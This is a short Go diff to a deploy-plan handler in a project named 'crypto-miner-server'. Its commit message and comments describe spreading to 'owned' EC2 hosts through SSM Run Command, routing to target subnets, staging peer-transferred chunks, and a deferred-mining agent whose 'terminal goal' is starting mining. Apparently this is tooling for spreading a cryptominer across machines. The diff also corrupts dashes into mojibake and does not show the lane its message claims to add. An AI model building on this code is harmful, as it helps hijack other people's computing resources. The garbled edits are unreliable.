Add ssm_document spread lane for owned EC2 via SSM Run Command.

server/internal/api/deploy_plan.go

@@ -1,4 +1,4 @@
-package api
+package api
 
 import (
 	"crypto/hmac"
@@ -13,6 +13,7 @@ import (
 	"strings"
 
 	dbpkg "crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/cloudmap"
 	"crypto-miner-server/internal/erasure"
 	"crypto-miner-server/internal/models"
 	"crypto-miner-server/internal/spreadrouter"
@@ -122,7 +123,7 @@ func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) {
 	h.pathTracer = handler
 }
 
-// BindErasure wires Reed–Solomon shard encoding for multi-lane deploy plans.
+// BindErasure wires ReedΓÇôSolomon shard encoding for multi-lane deploy plans.
 func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) {
 	h.erasureEnabled = enabled
 	h.erasureShards = store
@@ -403,7 +404,7 @@ func spreadRouteTargetSubnets(pathTracer *PathTracerHandler, database *dbpkg.Dat
 }
 
 // buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer.
-// Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass,
+// Deploy success is a spread step only ΓÇö agent keeps --defer-mining until diagnostics pass,
 // then startMiningWhenReady() completes the mining onion (terminal goal).
 func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
 	platform := strings.TrimSpace(req.Platform)